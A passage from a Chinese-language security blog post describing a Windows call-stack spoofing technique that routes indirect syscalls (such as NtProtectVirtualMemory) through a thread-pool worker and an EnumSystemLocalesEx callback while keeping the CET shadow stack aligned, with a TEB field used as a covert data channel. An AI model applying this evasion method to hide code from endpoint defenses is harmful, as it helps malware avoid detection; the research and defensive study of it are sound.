monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">reg × 4</span></code><span leaf="">字节推进。在 x64 上，影子栈条目每个 8 字节。使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPD</span></code><span leaf="">且值为 1 时只推进 4 字节，半个条目，导致 SSP 错位。在 x64 上，始终使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">。我是通过惨痛教训学到的（见第 8.4 节）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些是我 CET 兼容策略的基础。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012912" alt="Example of fully working Shadow Stack compared to normal call stack" class="rich_pages wxw-img" data-ratio="0.5007610350076104" data-type="png" data-w="657" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c34ade69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShKEdbBic16S8rLRkcXhOhev8pPwR2uxoEoIanfO3iaKwDzFxsXc5viaQr4hPIy2xicL7o0ofh8FTYzePgJeLg1s5VXm9LKN4MVibFc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Example of fully working Shadow Stack compared to normal call stack</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">完全工作的影子栈与正常调用栈对比示例</span></em></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3.8 TEB ArbitraryUserPointer</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">线程环境块（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB</span></code><span leaf="">）在偏移 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x28</span></code><span leaf="">处有一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ArbitraryUserPointer</span></code><span leaf="">的字段。它是一个每线程指针，没有定义的操作系统语义。应用程序可以随意使用它。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我将其用作阶段 1 和阶段 2 之间的隐蔽数据通道。问题是：Enum 回调具有由 Windows 定义的固定签名。我无法添加额外参数。但我需要以某种方式传递指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EmbeddedContext</span></code><span leaf="">的指针。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于工作线程和回调在同一线程上运行，我在阶段 1 将指针写入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB+0x28</span></code><span leaf="">，在阶段 2 读回。原始值保存，完成后恢复。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简单，但有效。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">4. 技术设计</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">4.1 高层概述</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一句话概括：</span><strong><span leaf="">我使用线程池调用一个 Enum 函数，其回调执行手动展开并将执行重定向到间接 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">，同时保持 CET 影子栈对齐。</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">三个阶段，同一线程：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;"><span leaf="">线程池工作线程</span></strong><p><span leaf="">：创建干净的栈基，展开一帧，重定向到 Enum 函数（如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">）。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">Enum 回调（首次调用）</span></strong><p><span leaf="">：再次展开，设置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">寄存器，重定向到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall; ret</span></code><span leaf="">跳板。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><span leaf="">Enum 回调（第二次调用，如需要）</span></strong><p><span leaf="">：清理栈槽，返回 0 以停止枚举。仅在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">返回非零值时发生（详见 7.2）。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每次&#34;重定向&#34;都经过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">，这是一个自定义内联汇编例程，它对账 CET 影子栈并在跳转到目标前恢复完整的 CPU 状态。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">4.2 三个阶段</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">让我用可视方式带你走一遍栈的变化。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">阶段 1 之前：线程池工作线程的自然栈</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">┌─────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">  │ thread_pool_worker_enum (our callback)                  │ ← we are here</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!TppWorkpExecuteCallback+4D0                       │</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!TppWorkerThread+801                               │</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ kernel32!BaseThreadInitThunk+17                         │</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!RtlUserThreadStart+2C                             │</span><span leaf=""><br/></span><span leaf="">  └─────────────────────────────────────────────────────────┘</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们展开自己的帧并将执行重定向到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">。重定向后：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">在 EnumSystemLocalesEx 内部，调用我们的回调之前：</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">┌─────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">  │ kernelbase!EnumSystemLocalesEx                          │ ← we jumped here</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!TppWorkpExecuteCallback+4D0                       │ ← return address preserved</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!TppWorkerThread+801                               │</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ kernel32!BaseThreadInitThunk+17                         │</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!RtlUserThreadStart+2C                             │</span><span leaf=""><br/></span><span leaf="">  └─────────────────────────────────────────────────────────┘</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">调用我们的回调。回调展开并重定向到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">跳板：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">阶段 2：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">执行的精确时刻</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">┌─────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">  │ ntdll!NtProtectVirtualMemory+12                         │ ← `syscall; ret` trampoline</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ kernelbase!Internal_EnumSystemLocales+348               │ ← real frame</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ kernelbase!EnumSystemLocalesEx+1F                       │ ← real frame</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!TppWorkpExecuteCallback+4D0                       │ ← thread pool</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!TppWorkerThread+801                               │ ← thread pool</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ kernel32!BaseThreadInitThunk+17                         │</span><span leaf=""><br/></span><span leaf="">  │─────────────────────────────────────────────────────────│</span><span leaf=""><br/></span><span leaf="">  │ ntdll!RtlUserThreadStart+2C                             │</span><span leaf=""><br/></span><span leaf="">  └─────────────────────────────────────────────────────────┘</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每一帧：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase.dll</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernel32.dll</span></code><span leaf="">。没有无后备内存。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012913" alt="WinDbg callstack at the moment of syscall" class="rich_pages wxw-img" data-ratio="0.6591809775429326" data-type="png" data-w="757" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c4f554e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjf4Cjia6dynOicQyEcOqBgSsFaIDKrrrR8aMKmEicpsN5QY7m1yzZvsUCbUxgCtmCY5TP3u8XldXiceEZ6KdEcjxyHjhJ6yPiagM0g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">WinDbg callstack at the moment of syscall</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">syscall 执行时刻的 WinDbg 调用栈</span></em></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">4.3 最终调用栈</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实际运行中捕获的精确调用栈，带偏移：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">ntdll!NtProtectVirtualMemory+12</span><span leaf=""><br/></span><span leaf="">kernelbase!Internal_EnumSystemLocales+348</span><span leaf=""><br/></span><span leaf="">kernelbase!EnumSystemLocalesEx+1F</span><span leaf=""><br/></span><span leaf="">ntdll!TppWorkpExecuteCallback+4D0</span><span leaf=""><br/></span><span leaf="">ntdll!TppWorkerThread+801</span><span leaf=""><br/></span><span leaf="">kernel32!BaseThreadInitThunk+17</span><span leaf=""><br/></span><span 